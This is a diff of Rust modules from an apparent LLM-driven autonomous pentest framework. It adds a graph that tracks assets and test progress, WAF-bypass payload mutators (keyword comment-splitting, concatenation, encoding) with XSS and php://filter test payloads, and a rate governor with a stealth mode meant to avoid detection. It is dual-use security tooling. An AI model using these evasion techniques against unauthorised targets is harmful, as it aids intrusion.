.replace('"', "\u{FF02}")
|
||||
}
|
||||
|
||||
fn hex_encode(s: &str) -> String {
|
||||
s.bytes().map(|b| format!("\\x{b:02x}")).collect()
|
||||
}
|
||||
|
||||
fn toggle_case(s: &str) -> String {
|
||||
s.chars().enumerate().map(|(i, c)| {
|
||||
if i % 2 == 0 { c.to_uppercase().next().unwrap_or(c) }
|
||||
else { c.to_lowercase().next().unwrap_or(c) }
|
||||
}).collect()
|
||||
}
|
||||
|
||||
fn inject_comments(s: &str) -> String {
|
||||
let keywords = ["SELECT", "UNION", "FROM", "WHERE", "script", "alert", "onerror"];
|
||||
let mut result = s.to_string();
|
||||
for kw in keywords {
|
||||
if result.contains(kw) {
|
||||
let mid = kw.len() / 2;
|
||||
let replacement = format!("{}/**/{}",
|
||||
&kw[..mid], &kw[mid..]);
|
||||
result = result.replacen(kw, &replacement, 1);
|
||||
}
|
||||
}
|
||||
result
|
||||
}
|
||||
|
||||
fn concatenate_split(s: &str) -> String {
|
||||
// SQL concatenation split
|
||||
if s.to_uppercase().contains("SELECT") || s.contains("'") {
|
||||
return s.replace("SELECT", "SEL'+'ECT")
|
||||
.replace("UNION", "UNI'+'ON");
|
||||
}
|
||||
// JS concatenation
|
||||
if s.contains("alert") {
|
||||
return s.replace("alert", "al\"+\"ert");
|
||||
}
|
||||
s.to_string()
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn test_generate_xss_payloads() {
|
||||
let engine = AdaptiveEngine::new();
|
||||
let payloads = engine.generate("XSS", None);
|
||||
assert!(!payloads.is_empty());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_waf_bypass_prioritization() {
|
||||
let mut engine = AdaptiveEngine::new();
|
||||
engine.waf_profile.vendor = "Cloudflare".into();
|
||||
engine.waf_profile.blocked_keywords = vec!["<script".into()];
|
||||
engine.waf_profile.allowed_encodings = vec![Encoding::DoubleUrlEncode];
|
||||
|
||||
let payloads = engine.generate("XSS", None);
|
||||
assert!(payloads.iter().any(|p| p.encoding == Encoding::DoubleUrlEncode));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_stack_specific_payloads() {
|
||||
let mut engine = AdaptiveEngine::new();
|
||||
engine.stack.language = "PHP".into();
|
||||
let payloads = engine.generate("CWE-22", None);
|
||||
assert!(payloads.iter().any(|p| p.payload.contains("php://filter")));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_encoding_apply() {
|
||||
let enc = Encoding::UrlEncode;
|
||||
assert_eq!(enc.apply("<script>"), "%3Cscript%3E");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_record_updates_waf_profile() {
|
||||
let mut engine = AdaptiveEngine::new();
|
||||
engine.record(PayloadRecord {
|
||||
payload: "<script>alert(1)</script>".into(),
|
||||
class: "XSS".into(),
|
||||
target_param: "q".into(),
|
||||
encoding: Encoding::None,
|
||||
outcome: Outcome::WafBlocked,
|
||||
waf_response: Some(WafResponse { vendor: "Akamai".into(), status: 403, blocked_pattern: "<script".into() }),
|
||||
response_code: 403,
|
||||
response_len: 0,
|
||||
timestamp: 0,
|
||||
});
|
||||
assert_eq!(engine.waf_profile.vendor, "Akamai");
|
||||
assert!(!engine.waf_profile.blocked_keywords.is_empty());
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,548 @@
|
||||
//! Exploration Graph — dual-graph architecture inspired by Artex.
|
||||
//!
|
||||
//! Two graphs track different things:
|
||||
//!
|
||||
//! 1. **Asset Graph** (global, shared across engagements) — the target's
|
||||
//! infrastructure: domains, subdomains, IPs, services, apps, endpoints.
|
||||
//! Agents submit raw data; the graph computes relationships and dedup.
|
||||
//!
|
||||
//! 2. **Exploration Graph** (per-engagement) — what was tried and what was
|
||||
//! learned: goals, intents, facts, findings, and hints. Edges encode
|
||||
//! causality: spawns, yields, derived_from, proves.
|
||||
//!
|
||||
//! **Anchors** tie the two: an exploration node (e.g. "test SQLi on /api/users")
|
||||
//! anchors to an asset node (the /api/users endpoint). This drives the coverage
|
||||
//! map — every asset knows what was explored against it.
|
||||
//!
|
||||
//! The planner watches the exploration graph. A graph change (new fact, new
|
||||
//! finding, new asset) wakes the planner, which emits new intents.
|
||||
|
||||
use serde::{Deserialize, Serialize};
|
||||
use std::collections::{BTreeMap, HashMap, HashSet};
|
||||
use std::path::{Path, PathBuf};
|
||||
|
||||
// ── Asset Graph ──
|
||||
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct AssetGraph {
|
||||
pub nodes: Vec<AssetNode>,
|
||||
pub edges: Vec<AssetEdge>,
|
||||
index: HashMap<String, usize>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct AssetNode {
|
||||
pub id: String,
|
||||
pub kind: AssetKind,
|
||||
pub value: String,
|
||||
pub properties: BTreeMap<String, String>,
|
||||
pub discovered_by: String,
|
||||
pub discovered_at: u64,
|
||||
/// How many exploration nodes anchor to this asset.
|
||||
pub exploration_count: u32,
|
||||
/// How many findings are associated.
|
||||
pub finding_count: u32,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, PartialOrd, Ord, Serialize, Deserialize)]
|
||||
#[serde(rename_all = "kebab-case")]
|
||||
pub enum AssetKind {
|
||||
Domain,
|
||||
Subdomain,
|
||||
IpAddress,
|
||||
Service,
|
||||
Application,
|
||||
Endpoint,
|
||||
Parameter,
|
||||
Technology,
|
||||
Credential,
|
||||
Certificate,
|
||||
CloudResource,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct AssetEdge {
|
||||
pub from: String,
|
||||
pub to: String,
|
||||
pub kind: AssetRelation,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
|
||||
#[serde(rename_all = "kebab-case")]
|
||||
pub enum AssetRelation {
|
||||
ParentOf,
|
||||
HostedOn,
|
||||
ServesOn,
|
||||
UsesAuth,
|
||||
UsesTech,
|
||||
ResolvesTo,
|
||||
RedirectsTo,
|
||||
LinksTo,
|
||||
}
|
||||
|
||||
impl Default for AssetGraph {
|
||||
fn default() -> Self {
|
||||
Self { nodes: Vec::new(), edges: Vec::new(), index: HashMap::new() }
|
||||
}
|
||||
}
|
||||
|
||||
impl AssetGraph {
|
||||
pub fn new() -> Self { Self::default() }
|
||||
|
||||
/// Insert or merge an asset. Returns true if the asset was new.
|
||||
pub fn upsert(&mut self, kind: AssetKind, value: &str, properties: BTreeMap<String, String>, discovered_by: &str) -> bool {
|
||||
let dedup_key = dedup_key(kind, value);
|
||||
if let Some(&idx) = self.index.get(&dedup_key) {
|
||||
let node = &mut self.nodes[idx];
|
||||
for (k, v) in properties { node.properties.insert(k, v); }
|
||||
return false;
|
||||
}
|
||||
let id = format!("asset-{}", self.nodes.len());
|
||||
let node = AssetNode {
|
||||
id: id.clone(),
|
||||
kind,
|
||||
value: value.to_string(),
|
||||
properties,
|
||||
discovered_by: discovered_by.to_string(),
|
||||
discovered_at: now(),
|
||||
exploration_count: 0,
|
||||
finding_count: 0,
|
||||
};
|
||||
self.index.insert(dedup_key, self.nodes.len());
|
||||
self.nodes.push(node);
|
||||
true
|
||||
}
|
||||
|
||||
/// Add a relationship between two assets.
|
||||
pub fn relate(&mut self, from: &str, to: &str, kind: AssetRelation) {
|
||||
if !self.edges.iter().any(|e| e.from == from && e.to == to && e.kind == kind) {
|
||||
self.edges.push(AssetEdge { from: from.into(), to: to.into(), kind });
|
||||
}
|
||||
}
|
||||
|
||||
/// Find an asset by value.
|
||||
pub fn find(&self, kind: AssetKind, value: &str) -> Option<&AssetNode> {
|
||||
let key = dedup_key(kind, value);
|
||||
self.index.get(&key).and_then(|&idx| self.nodes.get(idx))
|
||||
}
|
||||
|
||||
/// All endpoints under a domain/subdomain.
|
||||
pub fn endpoints_under(&self, domain: &str) -> Vec<&AssetNode> {
|
||||
let domain_ids: HashSet<&str> = self.nodes.iter()
|
||||
.filter(|n| (n.kind == AssetKind::Domain || n.kind == AssetKind::Subdomain) && n.value.contains(domain))
|
||||
.map(|n| n.id.as_str())
|
||||
.collect();
|
||||
|
||||
self.nodes.iter()
|
||||
.filter(|n| n.kind == AssetKind::Endpoint && self.edges.iter().any(|e| domain_ids.contains(e.from.as_str()) && e.to == n.id))
|
||||
.collect()
|
||||
}
|
||||
|
||||
/// Assets with no exploration anchored to them (untested surface).
|
||||
pub fn untested(&self) -> Vec<&AssetNode> {
|
||||
self.nodes.iter()
|
||||
.filter(|n| n.exploration_count == 0 && matches!(n.kind, AssetKind::Endpoint | AssetKind::Parameter | AssetKind::Service))
|
||||
.collect()
|
||||
}
|
||||
|
||||
/// Coverage ratio: explored / total testable assets.
|
||||
pub fn coverage(&self) -> f64 {
|
||||
let testable: Vec<&AssetNode> = self.nodes.iter()
|
||||
.filter(|n| matches!(n.kind, AssetKind::Endpoint | AssetKind::Parameter | AssetKind::Service))
|
||||
.collect();
|
||||
if testable.is_empty() { return 0.0; }
|
||||
let explored = testable.iter().filter(|n| n.exploration_count > 0).count();
|
||||
explored as f64 / testable.len() as f64
|
||||
}
|
||||
|
||||
/// Summary for prompt injection.
|
||||
pub fn prompt_summary(&self) -> String {
|
||||
let mut s = String::from("ASSET GRAPH SUMMARY:\n");
|
||||
let mut by_kind: BTreeMap<AssetKind, usize> = BTreeMap::new();
|
||||
for n in &self.nodes { *by_kind.entry(n.kind).or_default() += 1; }
|
||||
for (kind, count) in &by_kind {
|
||||
s.push_str(&format!(" {kind:?}: {count}\n"));
|
||||
}
|
||||
let coverage = self.coverage();
|
||||
s.push_str(&format!(" Coverage: {:.0}%\n", coverage * 100.0));
|
||||
let untested = self.untested();
|
||||
if !untested.is_empty() {
|
||||
s.push_str(&format!(" Untested assets: {}\n", untested.len()));
|
||||
for n in untested.iter().take(10) {
|
||||
s.push_str(&format!(" - [{:?}] {}\n", n.kind, n.value));
|
||||
}
|
||||
}
|
||||
s
|
||||
}
|
||||
}
|
||||
|
||||
// ── Exploration Graph ──
|
||||
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct ExplorationGraph {
|
||||
pub nodes: Vec<ExplorationNode>,
|
||||
pub edges: Vec<ExplorationEdge>,
|
||||
pub anchors: Vec<Anchor>,
|
||||
pub version: u64,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct ExplorationNode {
|
||||
pub id: String,
|
||||
pub kind: ExplorationKind,
|
||||
pub content: String,
|
||||
pub status: ExplorationStatus,
|
||||
pub agent: String,
|
||||
pub created_at: u64,
|
||||
pub metadata: BTreeMap<String, String>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, Serialize, Deserialize)]
|
||||
#[serde(rename_all = "kebab-case")]
|
||||
pub enum ExplorationKind {
|
||||
/// High-level testing goal (e.g. "test authentication bypass").
|
||||
Goal,
|
||||
/// Specific action to take (e.g. "send SQLi to /api/login username param").
|
||||
Intent,
|
||||
/// Observation from testing (e.g. "param reflects input unfiltered").
|
||||
Fact,
|
||||
/// A confirmed vulnerability.
|
||||
Finding,
|
||||
/// A lead worth investigating (not yet confirmed).
|
||||
Hint,
|
||||
/// A negative result (tested, not vulnerable).
|
||||
Negative,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Copy, Default, PartialEq, Eq, Serialize, Deserialize)]
|
||||
#[serde(rename_all = "kebab-case")]
|
||||
pub enum ExplorationStatus {
|
||||
#[default]
|
||||
Pending,
|
||||
InProgress,
|
||||
Completed,
|
||||
Failed,
|
||||
Blocked,
|
||||
Superseded,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct ExplorationEdge {
|
||||
pub from: String,
|
||||
pub to: String,
|
||||
pub kind: ExplorationRelation,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
|
||||
#[serde(rename_all = "kebab-case")]
|
||||
pub enum ExplorationRelation {
|
||||
Spawns,
|
||||
Yields,
|
||||
DerivedFrom,
|
||||
Proves,
|
||||
Disproves,
|
||||
Requires,
|
||||
Supersedes,
|
||||
ChainsTo,
|
||||
}
|
||||
|
||||
/// Links an exploration node to an asset node.
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct Anchor {
|
||||
pub exploration_id: String,
|
||||
pub asset_id: String,
|
||||
pub direction: AnchorDirection,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
|
||||
#[serde(rename_all = "kebab-case")]
|
||||
pub enum AnchorDirection {
|
||||
/// Exploration targets this asset.
|
||||
Targets,
|
||||
/// Exploration discovered this asset.
|
||||
Discovered,
|
||||
}
|
||||
|
||||
impl Default for ExplorationGraph {
|
||||
fn default() -> Self {
|
||||
Self { nodes: Vec::new(), edges: Vec::new(), anchors: Vec::new(), version: 0 }
|
||||
}
|
||||
}
|
||||
|
||||
impl ExplorationGraph {
|
||||
pub fn new() -> Self { Self::default() }
|
||||
|
||||
/// Add a new exploration node. Returns its id.
|
||||
pub fn add_node(&mut self, kind: ExplorationKind, content: &str, agent: &str) -> String {
|
||||
let id = format!("exp-{}", self.nodes.len());
|
||||
self.nodes.push(ExplorationNode {
|
||||
id: id.clone(),
|
||||
kind,
|
||||
content: content.to_string(),
|
||||
status: ExplorationStatus::Pending,
|
||||
agent: agent.to_string(),
|
||||
created_at: now(),
|
||||
metadata: BTreeMap::new(),
|
||||
});
|
||||
self.version += 1;
|
||||
id
|
||||
}
|
||||
|
||||
/// Add a goal and decompose it into intents.
|
||||
pub fn add_goal(&mut self, goal: &str, agent: &str) -> String {
|
||||
self.add_node(ExplorationKind::Goal, goal, agent)
|
||||
}
|
||||
|
||||
/// Add an intent (specific action) linked to a goal.
|
||||
pub fn add_intent(&mut self, intent: &str, goal_id: &str, agent: &str) -> String {
|
||||
let id = self.add_node(ExplorationKind::Intent, intent, agent);
|
||||
self.add_edge(goal_id, &id, ExplorationRelation::Spawns);
|
||||
id
|
||||
}
|
||||
|
||||
/// Record a fact observed during testing.
|
||||
pub fn add_fact(&mut self, fact: &str, from_id: &str, agent: &str) -> String {
|
||||
let id = self.add_node(ExplorationKind::Fact, fact, agent);
|
||||
self.add_edge(from_id, &id, ExplorationRelation::Yields);
|
||||
self.version += 1;
|
||||
id
|
||||
}
|
||||
|
||||
/// Record a finding linked to the intent that found it.
|
||||
pub fn add_finding(&mut self, finding: &str, from_id: &str, agent: &str) -> String {
|
||||
let id = self.add_node(ExplorationKind::Finding, finding, agent);
|
||||
self.add_edge(from_id, &id, ExplorationRelation::Proves);
|
||||
self.version += 1;
|
||||
id
|
||||
}
|
||||
|
||||
/// Record a negative result (tested, not vulnerable).
|
||||
pub fn add_negative(&mut self, what: &str, from_id: &str, agent: &str) -> String {
|
||||
let id = self.add_node(ExplorationKind::Negative, what, agent);
|
||||
self.add_edge(from_id, &id, ExplorationRelation::Disproves);
|
||||
id
|
||||
}
|
||||
|
||||
/// Add a hint (something worth investigating).
|
||||
pub fn add_hint(&mut self, hint: &str, from_id: &str, agent: &str) -> String {
|
||||
let id = self.add_node(ExplorationKind::Hint, hint, agent);
|
||||
self.add_edge(from_id, &id, ExplorationRelation::DerivedFrom);
|
||||
self.version += 1;
|
||||
id
|
||||
}
|
||||
|
||||
pub fn add_edge(&mut self, from: &str, to: &str, kind: ExplorationRelation) {
|
||||
self.edges.push(ExplorationEdge { from: from.into(), to: to.into(), kind });
|
||||
}
|
||||
|
||||
/// Anchor an exploration node to an asset.
|
||||
pub fn anchor(&mut self, exploration_id: &str, asset_id: &str, direction: AnchorDirection) {
|
||||
self.anchors.push(Anchor {
|
||||
exploration_id: exploration_id.into(),
|
||||
asset_id: asset_id.into(),
|
||||
direction,
|
||||
});
|
||||
}
|
||||
|
||||
/// Update node status.
|
||||
pub fn set_status(&mut self, id: &str, status: ExplorationStatus) {
|
||||
if let Some(node) = self.nodes.iter_mut().find(|n| n.id == id) {
|
||||
node.status = status;
|
||||
self.version += 1;
|
||||
}
|
||||
}
|
||||
|
||||
/// All pending intents (the planner's work queue).
|
||||
pub fn pending_intents(&self) -> Vec<&ExplorationNode> {
|
||||
self.nodes.iter()
|
||||
.filter(|n| n.kind == ExplorationKind::Intent && n.status == ExplorationStatus::Pending)
|
||||
.collect()
|
||||
}
|
||||
|
||||
/// All facts derived from a specific intent.
|
||||
pub fn facts_from(&self, intent_id: &str) -> Vec<&ExplorationNode> {
|
||||
let fact_ids: HashSet<&str> = self.edges.iter()
|
||||
.filter(|e| e.from == intent_id && e.kind == ExplorationRelation::Yields)
|
||||
.map(|e| e.to.as_str())
|
||||
.collect();
|
||||
self.nodes.iter().filter(|n| fact_ids.contains(n.id.as_str())).collect()
|
||||
}
|
||||
|
||||
/// All hints not yet turned into intents.
|
||||
pub fn unactioned_hints(&self) -> Vec<&ExplorationNode> {
|
||||
let actioned: HashSet<&str> = self.edges.iter()
|
||||
.filter(|e| e.kind == ExplorationRelation::Spawns || e.kind == ExplorationRelation::DerivedFrom)
|
||||
.flat_map(|e| [e.from.as_str(), e.to.as_str()])
|
||||
.collect();
|
||||
self.nodes.iter()
|
||||
.filter(|n| n.kind == ExplorationKind::Hint && !actioned.contains(n.id.as_str()))
|
||||
.collect()
|
||||
}
|
||||
|
||||
/// Generate a summary for prompt injection.
|
||||
pub fn prompt_summary(&self) -> String {
|
||||
let mut s = String::from("EXPLORATION STATE:\n");
|
||||
let counts: HashMap<ExplorationKind, usize> = {
|
||||
let mut m = HashMap::new();
|
||||
for n in &self.nodes { *m.entry(n.kind).or_default() += 1; }
|
||||
m
|
||||
};
|
||||
for (kind, count) in &counts {
|
||||
s.push_str(&format!(" {kind:?}: {count}\n"));
|
||||
}
|
||||
|
||||
let pending = self.pending_intents();
|
||||
if !pending.is_empty() {
|
||||
s.push_str(&format!(" Pending intents: {}\n", pending.len()));
|
||||
for p in pending.iter().take(10) {
|
||||
s.push_str(&format!(" - {}\n", &p.content[..p.content.len().min(100)]));
|
||||
}
|
||||
}
|
||||
|
||||
let hints = self.unactioned_hints();
|
||||
if !hints.is_empty() {
|
||||
s.push_str(&format!(" Unactioned hints: {}\n", hints.len()));
|
||||
for h in hints.iter().take(5) {
|
||||
s.push_str(&format!(" - {}\n", &h.content[..h.content.len().min(100)]));
|
||||
}
|
||||
}
|
||||
|
||||
s
|
||||
}
|
||||
|
||||
/// Save to disk.
|
||||
pub fn save(&self, path: &Path) -> std::io::Result<()> {
|
||||
let json = serde_json::to_string_pretty(self)
|
||||
.map_err(|e| std::io::Error::new(std::io::ErrorKind::Other, e))?;
|
||||
std::fs::write(path, json)
|
||||
}
|
||||
|
||||
/// Load from disk.
|
||||
pub fn load(path: &Path) -> std::io::Result<Self> {
|
||||
let json = std::fs::read_to_string(path)?;
|
||||
serde_json::from_str(&json)
|
||||
.map_err(|e| std::io::Error::new(std::io::ErrorKind::Other, e))
|
||||
}
|
||||
}
|
||||
|
||||
/// Combined dual-graph with anchoring.
|
||||
#[derive(Debug, Clone, Default, Serialize, Deserialize)]
|
||||
pub struct DualGraph {
|
||||
pub assets: AssetGraph,
|
||||
pub exploration: ExplorationGraph,
|
||||
}
|
||||
|
||||
impl DualGraph {
|
||||
pub fn new() -> Self { Self::default() }
|
||||
|
||||
/// Submit a discovered asset and automatically anchor the exploration that found it.
|
||||
pub fn discover_asset(
|
||||
&mut self,
|
||||
kind: AssetKind,
|
||||
value: &str,
|
||||
properties: BTreeMap<String, String>,
|
||||
discovered_by_agent: &str,
|
||||
exploration_id: Option<&str>,
|
||||
) -> bool {
|
||||
let is_new = self.assets.upsert(kind, value, properties, discovered_by_agent);
|
||||
if let Some(exp_id) = exploration_id {
|
||||
if let Some(asset) = self.assets.find(kind, value) {
|
||||
let asset_id = asset.id.clone();
|
||||
self.exploration.anchor(exp_id, &asset_id, AnchorDirection::Discovered);
|
||||
}
|
||||
}
|
||||
is_new
|
||||
}
|
||||
|
||||
/// Create an intent that targets a specific asset.
|
||||
pub fn target_asset(&mut self, intent: &str, goal_id: &str, agent: &str, asset_id: &str) -> String {
|
||||
let exp_id = self.exploration.add_intent(intent, goal_id, agent);
|
||||
self.exploration.anchor(&exp_id, asset_id, AnchorDirection::Targets);
|
||||
if let Some(node) = self.assets.nodes.iter_mut().find(|n| n.id == asset_id) {
|
||||
node.exploration_count += 1;
|
||||
}
|
||||
exp_id
|
||||
}
|
||||
|
||||
/// Record a finding against an asset.
|
||||
pub fn record_finding(&mut self, finding: &str, intent_id: &str, agent: &str, asset_id: &str) -> String {
|
||||
let exp_id = self.exploration.add_finding(finding, intent_id, agent);
|
||||
self.exploration.anchor(&exp_id, asset_id, AnchorDirection::Targets);
|
||||
if let Some(node) = self.assets.nodes.iter_mut().find(|n| n.id == asset_id) {
|
||||
node.finding_count += 1;
|
||||
}
|
||||
exp_id
|
||||
}
|
||||
|
||||
/// Combined prompt block for agent context.
|
||||
pub fn prompt_block(&self) -> String {
|
||||
let mut s = String::new();
|
||||
let asset_summary = self.assets.prompt_summary();
|
||||
let exp_summary = self.exploration.prompt_summary();
|
||||
if !asset_summary.is_empty() { s.push_str(&asset_summary); }
|
||||
if !exp_summary.is_empty() { s.push_str(&exp_summary); }
|
||||
s
|
||||
}
|
||||
|
||||
/// Save both graphs.
|
||||
pub fn save(&self, dir: &Path) -> std::io::Result<()> {
|
||||
std::fs::create_dir_all(dir)?;
|
||||
let json = serde_json::to_string_pretty(self)
|
||||
.map_err(|e| std::io::Error::new(std::io::ErrorKind::Other, e))?;
|
||||
std::fs::write(dir.join("dual-graph.json"), json)
|
||||
}
|
||||
|
||||
/// Load both graphs.
|
||||
pub fn load(dir: &Path) -> std::io::Result<Self> {
|
||||
let json = std::fs::read_to_string(dir.join("dual-graph.json"))?;
|
||||
serde_json::from_str(&json)
|
||||
.map_err(|e| std::io::Error::new(std::io::ErrorKind::Other, e))
|
||||
}
|
||||
}
|
||||
|
||||
// ── Helpers ──
|
||||
|
||||
fn dedup_key(kind: AssetKind, value: &str) -> String {
|
||||
let normalized = value.to_lowercase().trim_end_matches('/').to_string();
|
||||
format!("{kind:?}:{normalized}")
|
||||
}
|
||||
|
||||
fn now() -> u64 {
|
||||
std::time::SystemTime::now()
|
||||
.duration_since(std::time::UNIX_EPOCH)
|
||||
.unwrap_or_default()
|
||||
.as_secs()
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn test_asset_dedup() {
|
||||
let mut g = AssetGraph::new();
|
||||
assert!(g.upsert(AssetKind::Endpoint, "/api/users", BTreeMap::new(), "recon"));
|
||||
assert!(!g.upsert(AssetKind::Endpoint, "/api/users", BTreeMap::new(), "recon"));
|
||||
assert_eq!(g.nodes.len(), 1);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_dual_graph_coverage() {
|
||||
let mut dg = DualGraph::new();
|
||||
dg.assets.upsert(AssetKind::Endpoint, "/api/users", BTreeMap::new(), "recon");
|
||||
dg.assets.upsert(AssetKind::Endpoint, "/api/admin", BTreeMap::new(), "recon");
|
||||
assert_eq!(dg.assets.coverage(), 0.0);
|
||||
assert_eq!(dg.assets.untested().len(), 2);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_exploration_flow() {
|
||||
let mut eg = ExplorationGraph::new();
|
||||
let goal = eg.add_goal("Test SQLi on all endpoints", "planner");
|
||||
let intent = eg.add_intent("Test /api/login username param", &goal, "sqli_agent");
|
||||
let _fact = eg.add_fact("Param reflects error with single quote", &intent, "sqli_agent");
|
||||
let _finding = eg.add_finding("SQL injection in username", &intent, "sqli_agent");
|
||||
assert_eq!(eg.nodes.len(), 4);
|
||||
assert_eq!(eg.edges.len(), 3);
|
||||
}
|
||||
}
|
||||
@@ -1,4 +1,4 @@
|
||||
//! NeuroSploit v4.4.0 harness — a robust multi-model runtime for the
|
||||
//! NeuroSploit v4.4.1 harness — a robust multi-model runtime for the
|
||||
//! markdown-driven autonomous pentest engine.
|
||||
//!
|
||||
//! The harness loads the `agents_md/` library, drives a *pool* of LLM models
|
||||
@@ -6,6 +6,7 @@
|
||||
//! the specialist agents in parallel, then validates every candidate finding by
|
||||
//! **N-model voting** before scoring and reporting.
|
||||
|
||||
pub mod adaptive;
|
||||
pub mod agents;
|
||||
pub mod assurance;
|
||||
pub mod authz_matrix;
|
||||
@@ -22,6 +23,7 @@ pub mod compliance;
|
||||
pub mod creds;
|
||||
pub mod cvss;
|
||||
pub mod deliverables;
|
||||
pub mod exploration_graph;
|
||||
pub mod graph_memory;
|
||||
pub mod grounding;
|
||||
pub mod hygiene;
|
||||
@@ -39,11 +41,14 @@ pub mod pomdp;
|
||||
pub mod proxy;
|
||||
pub mod prosecutor;
|
||||
pub mod redact;
|
||||
pub mod request_analyzer;
|
||||
pub mod provenance;
|
||||
pub mod models;
|
||||
pub mod netguard;
|
||||
pub mod noise_governor;
|
||||
pub mod oob;
|
||||
pub mod pipeline;
|
||||
pub mod planner;
|
||||
pub mod pool;
|
||||
pub mod probe;
|
||||
pub mod replay;
|
||||
@@ -89,6 +94,11 @@ pub use scope::{Action as ScopeAction, Decision as ScopeDecision, ScopePolicy};
|
||||
pub use types::{Finding, RunConfig};
|
||||
pub use uncertainty::{assess as assess_uncertainty, Assessment, Gap, Rounds};
|
||||
pub use validation::{judge as judge_finding, CweValidator, Evidence, Verdict};
|
||||
pub use adaptive::{AdaptiveEngine, AdaptivePayload, Encoding, Outcome, PayloadRecord};
|
||||
pub use request_analyzer::{analyze as analyze_response, diff as diff_responses, ResponseAnalysis, ResponseDiff};
|
||||
pub use exploration_graph::{AssetGraph, AssetKind, DualGraph, ExplorationGraph, ExplorationKind};
|
||||
pub use planner::{Planner, PlannerConfig, PlannerIntent, IntentAction, TodoList};
|
||||
pub use noise_governor::{NoiseGovernor, GovernorConfig, RequestDecision, GovernorStats};
|
||||
|
||||
|
||||
/// Download bytes over HTTPS with a bounded timeout. Used by the app to fetch
|
||||
|
||||
@@ -0,0 +1,485 @@
|
||||
//! Noise Governor — adaptive rate limiting and request pacing.
|
||||
//!
|
||||
//! Aggressive scanning triggers WAFs, rate limits, and IP bans. The governor
|
||||
//! observes responses and dynamically adjusts request pacing:
|
||||
//!
|
||||
//! 1. **Rate detection** — identifies rate limit headers and 429 responses
|
||||
//! 2. **Adaptive backoff** — exponential backoff on throttle signals
|
||||
//! 3. **Request budgeting** — per-host request quotas
|
||||
//! 4. **Stealth pacing** — jitter and delay patterns that avoid detection
|
||||
//! 5. **Response caching** — dedup identical requests across agents
|
||||
//!
|
||||
//! The governor sits between agents and the network. Every outbound request
|
||||
//! passes through it; responses feed back to adjust pacing.
|
||||
|
||||
use serde::{Deserialize, Serialize};
|
||||
use std::collections::HashMap;
|
||||
use std::time::{Duration, Instant};
|
||||
|
||||
/// The governor: tracks per-host state and throttling.
|
||||
#[derive(Debug)]
|
||||
pub struct NoiseGovernor {
|
||||
pub config: GovernorConfig,
|
||||
hosts: HashMap<String, HostState>,
|
||||
cache: HashMap<u64, CachedResponse>,
|
||||
global_stats: GlobalStats,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct GovernorConfig {
|
||||
/// Base delay between requests to the same host (ms).
|
||||
pub base_delay_ms: u64,
|
||||
/// Maximum delay after backoff (ms).
|
||||
pub max_delay_ms: u64,
|
||||
/// Maximum requests per minute per host.
|
||||
pub max_rpm: u32,
|
||||
/// Jitter range (0.0 to 1.0) — randomization of delay.
|
||||
pub jitter: f64,
|
||||
/// Cache TTL for identical requests (seconds).
|
||||
pub cache_ttl_secs: u64,
|
||||
/// Enable stealth mode (longer delays, more jitter).
|
||||
pub stealth: bool,
|
||||
/// Global concurrent request limit.
|
||||
pub max_concurrent: u32,
|
||||
}
|
||||
|
||||
impl Default for GovernorConfig {
|
||||
fn default() -> Self {
|
||||
Self {
|
||||
base_delay_ms: 200,
|
||||
max_delay_ms: 30_000,
|
||||
max_rpm: 60,
|
||||
jitter: 0.3,
|
||||
cache_ttl_secs: 300,
|
||||
stealth: false,
|
||||
max_concurrent: 10,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
impl GovernorConfig {
|
||||
pub fn stealth() -> Self {
|
||||
Self {
|
||||
base_delay_ms: 1000,
|
||||
max_delay_ms: 60_000,
|
||||
max_rpm: 20,
|
||||
jitter: 0.5,
|
||||
cache_ttl_secs: 600,
|
||||
stealth: true,
|
||||
max_concurrent: 3,
|
||||
}
|
||||
}
|
||||
|
||||
pub fn aggressive() -> Self {
|
||||
Self {
|
||||
base_delay_ms: 50,
|
||||
max_delay_ms: 10_000,
|
||||
max_rpm: 200,
|
||||
jitter: 0.1,
|
||||
cache_ttl_secs: 120,
|
||||
stealth: false,
|
||||
max_concurrent: 20,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Debug)]
|
||||
struct HostState {
|
||||
last_request: Instant,
|
||||
requests_this_minute: u32,
|
||||
minute_start: Instant,
|
||||
backoff_level: u32,
|
||||
consecutive_429s: u32,
|
||||
consecutive_503s: u32,
|
||||
rate_limit_remaining: Option<u32>,
|
||||
rate_limit_reset: Option<u64>,
|
||||
total_requests: u64,
|
||||
total_throttled: u64,
|
||||
blocked: bool,
|
||||
block_reason: String,
|
||||
}
|
||||
|
||||
impl Default for HostState {
|
||||
fn default() -> Self {
|
||||
Self {
|
||||
last_request: Instant::now(),
|
||||
